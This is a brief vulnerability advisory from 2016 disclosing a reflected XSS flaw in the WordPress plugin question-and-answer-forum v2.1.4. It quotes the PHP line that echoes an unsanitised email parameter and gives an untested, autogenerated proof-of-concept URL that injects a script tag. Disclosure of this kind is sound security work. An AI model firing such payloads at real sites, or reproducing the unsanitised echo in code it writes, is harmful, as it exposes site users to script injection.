Advisory #: 171
Title: Reflected XSS in wordpress plugin question-and-answer-forum v2.1.4
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/question-and-answer-forum
Downloads: 37889
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: question-and-answer-forum
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./question-and-answer-forum/answeremail.php: 62: <p>You will no longer recieve emails to the address <?php echo $_GET['email']; ?> to notify you of new answers posted on questions asked using your email address.</p> The variable email appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./question-and-answer-forum/answeremail.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/question-and-answer-forum/answeremail.php?email="><script>alert(1);</script><"